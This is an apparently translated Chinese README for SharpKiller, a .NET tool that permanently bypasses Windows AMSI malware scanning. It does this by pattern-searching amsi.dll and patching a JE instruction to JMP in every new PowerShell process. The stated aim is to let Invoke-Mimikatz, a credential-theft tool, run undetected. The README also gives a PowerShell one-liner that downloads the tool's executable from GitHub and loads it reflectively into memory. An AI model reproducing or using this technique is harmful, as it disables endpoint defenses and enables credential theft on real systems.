由 @ZeroMemoryEx 编写、移植到 .NET Framework 4.8 的永久性 AMSI 绕过工具 AMSI-Killer。
[ x ] - 每 0.5 秒实时扫描新的 PowerShell 进程 -> 自动修补新的 PowerShell 实例
我们通过搜索每条指令的第一个字节来获取跳转指令的确切地址,这种技术即使目标数据集发生更新或修改也同样有效。
例如:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
搜索模式将如下所示:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

程序将 RDX 的值与自身进行比较。如果比较结果为 0,程序执行跳转返回。否则,程序继续执行下一条指令

我们无法执行 "Invoke-Mimikatz"

我们修补第一个字节,将其从 JE 改为 JMP,从而直接返回


现在我们可以执行 "Invoke-Mimikatz"



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
如果您曾经看到过这条消息并感到疑惑 - 欢迎来到 .NET AMSI 接口!:-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."